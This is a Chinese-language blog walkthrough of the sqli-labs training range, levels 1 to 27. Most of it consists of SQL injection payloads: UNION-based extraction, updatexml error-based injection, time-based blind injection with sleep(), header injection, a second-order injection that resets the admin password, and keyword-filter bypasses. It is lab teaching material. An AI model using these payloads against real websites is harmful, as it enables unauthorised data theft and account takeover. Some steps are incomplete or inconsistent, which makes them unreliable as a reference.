sqli-labs靶场通关攻略

第一关:

1、进入sqli-labs-master靶场第一

目录

第一关:


加入参数id.列如

2.判断SQL注入漏洞--引起报错找到闭合与注释

加单引号判断闭合,发现为字符型注入,

3. 使用order by 判断字段数有几列:3列回显正常,4列出现报错,说明只有3列

4.使用union select确定回显点

6,查询数据库下的表信息

7,查询表下的字段信息

8,查询字段内容

第二关:

1)判断类型:

and 1=1

and 1=2

判断为数字型注入

order by 3

order by 4

说明只有4列

3)显位

4)曝库

union select 1,2,database()

5)曝表

6)曝列

union select 1,2,column_name from information_schema.columns where table_schema='security' and table_name='emails'

7)曝值

union select 1,2,id from emails

第三关:

1)判断类型

and 1=1

and 1=2

判断为字符型注入

2)构造闭合

根据语句构造payload

1') and 1=1 -- q

3)显位

4)曝库

5)曝表

第四关:

and 1=1

and 1=2

初步判断为字符型注入

“ and 1=2

字符注入

2)构造闭合

回推SQL语句为

select * from * where id=(" ")

根据语句构造payload

") and 1=1 -- q

3)查询字段数

4)显位

5)曝库

6)曝表

union select 1,2,table_name from information_schema.tables where table_schema='security'

7)曝列

8)曝值

union select 1,2,id from emails

第五关:

1)判断类型

and 1=1

’and1=2

字符注入

2)构造闭合

order by 3

order by 4

4)显位

第六关:

1)判断类型

and 1=2

2)构造闭合

" and 1=2 --q

3)查看字段数

order by=3

order by=4

4)曝库

updatexml(1,concat('!',database(),'!'),1)

5)曝表

updatexml(1,concat('!',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'!'),1)

第七关:

闭合为 ?id=1')) -- q

查询字段数

order by 3

order by 4

第八关:

and length(database())>1

and length(database())>10

and length(database())>5

and length(database())>7

and length(database())>8

字段数为8

猜解库名

(ascii(substr(database(),1,1)))=115 

第九关:

猜解库名长度

1' and if(length(database())=8,sleep(5),1) -- q

猜解库名

if((ascii(substr(database(),1,1))=115),sleep(5),1)

猜解表名

if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101),sleep(5),1)

猜解列名

1" and if(length(database())=8,sleep(5),1) -- q

第10关:

第11关:

1)查询字段数:

'or 1=1 order by 3 -- q

字段数为2

2)显位

'union select 1,2 -- q

3)曝库

'union select 1,database() -- q

4)曝表

'union select 1,table_name from information_schema.tables where table_schema='security' -- q

5)曝列

'union select 1,column_name from information_schema.columns where table_schema='security' and table_name='emails' -- q

6)曝值

第11关:

尝试万能闭合:'or 1=1 -- q

1)查询字段数

'or 1=1 order by 2 -- q

'or 1=1 order by 3 -- q

2)显位

'union select 1,2 -- q

3)爆库

'union select 1,database() -- q

4)爆表

'union select 1,table_name from information_schema.tables where table_schema='security' -- q

5)爆列

'union select 1,column_name from information_schema.columns where table_schema='security' and table_name='emails' -- q

6)爆值

'union select 1,id from emails -- q

第12关:

第13关:

1)爆库

')or updatexml(1,concat('!',(select database()),'!'),1) -- q

3)爆列

')or updatexml(1,concat('!',(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),'!'),1) -- q

4)爆值

')or updatexml(1,concat('!',(select id from emails limit 0,1),'!'),1) -- q

第14关:

使用\判断闭合方式

第15关:

所以本关使用 闭合符号+ or  1=1#进行判断

最后得到闭合方式为单引号

使用判断方式,与时间盲注来判断数据库名

' or if(left((database()),1)='s',sleep(10),1)#

通过判断得到数据库名为security

第16关:

使用符号+ or 1=1#判断注入方式

得到闭合方式为双引号加小括号

第17关:

通过上方黄色信息发现(密码重置),疑似密码注入可能,但不排除用户名可注入,所以优先使用用户名进行尝试,发现没有注入点,在用户名输入时不会报错

此时,在密码处进行注入尝试

发现可以正常访问,所以第十七关是在密码处进行注入

' or updatexml(1,concat("!",version()),2)#

查看数据库信息

' or updatexml(1,concat("!",(select group_concat(table_name)from information_schema.tables where table_schema='security')),2)#

查看表字段信息

第18关:

本关使用burp进行注入

在用户名和密码多次尝试后发现没有sql注入漏洞,所有,进入burp进行修改

首先我们进行正常登录

admin

admin

查看界面是否有回显,且回显显示位置

回显中有  Your User Agent is字段

使用burp拦截并在放到重放器中

User-Agent:'产生报错,此处有注入点,验证闭合方式为单引号

得到数据库名称

继续查询字段名

第23关:

此题采用updataxml报错 与之前题目不同的是 之前的注释符号都被过滤了 包括 -- #

这时就需要在语句后半部分再构造一个闭合

源码分析:

select * from * where id='' (原语句)

select * from * where id='1' and 1=1 or '1'='1' 这样就成功构造了闭合 我们放入的语句是 1' and 1=1 or '1'='1

根据上述构造payload

1' and updatexml(1,concat('!',database(),'!'),1) or '1'='1

代入url中 成功爆库

第24关:

此题解法有变化

分析源码

在login.php中发现 如果对username进行构造闭合 可以形成二次注入

构造payload admin'#

语句就变成了

SELECT * FROM users WHERE username='admin‘# and password='$password'

后面password就被注释掉了

用admin'#进行注册 密码随意

注册之后登录admin’#

修改密码 修改完成之后退出登录

虽然创建的是admin'# 但是进行修改密码时 连同admin的密码也被修改了 因为我们登录时注释掉了admin的password验证

用admin进行登录 密码为刚才修改的新密码

登录成功

第25关:

此题有and or过滤

在构造闭合时 当输入and或or时 会发生报错

在错误信息中看到 and直接消失了

这时就需要用其他字符替换and和or

sql语法中 逻辑运算符&&等同and的用法 ||等同于or的用法

需要注意的是 直接在url中用&&替换and还是会报错 这时因为在url栏中&&还有其他含义(代表多个传参的意思) 此时需要对&&进行url编码

&&编码后为%26%26 代入到语句中 1'%26%26 1=1 -- q

页面正常回显

双写绕过
继续按updatexml报错注入的步骤做时 在爆表时会遇到报错 这是因为information中的or被识别 并且被替换成了空

但是此处并不能用or进行url编码替换的方式 因为这在sql语句中是并不成立的

这里特别有意思的应对方法是 将information改为infoorrmation

因为会过滤or 所以我们输入infoorrmation时会被自动改成information 从而绕过过滤

输入payload(注意将||转换url编码)

1' ||%20 updatexml(1,concat('!',(select table_name from infoorrmation_schema.tables where table_schema='security' limit 0,1),'!'),1) -- q

成功爆出表名

后续步骤不再重复

第26关:

1' && '1'='1 注释部分转换成url编码后 1"%20%7C%7C 1 %26%26 '1'='1

爆库名

|| updatexml(1,concat('!',(select(database())),'!'),1)||'1'='1

转换为url编码(空格用()代替)

%20%7C%7C updatexml(1,concat('!',(select(database())),'!'),1)%20%7C%7C '1'='1

成功爆库

爆表

|| updatexml(1,concat('!',(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')),'!'),1) || '1'='1

爆列

这里的and用aandd代替

|| updatexml(1,concat('!',(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security'aandnd(table_name='emails'))),'!'),1) || '1'='1

爆值

|| updatexml(1,concat('!',(select(group_concat(id))from(emails)),'!'),1)|| '1'='1

第27关:

|| updatexml(1,concat('!',(sElEcT(group_concat(table_name))from(information_schema.tables)where(table_schema='security')),'!'),1) || '1'='1

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值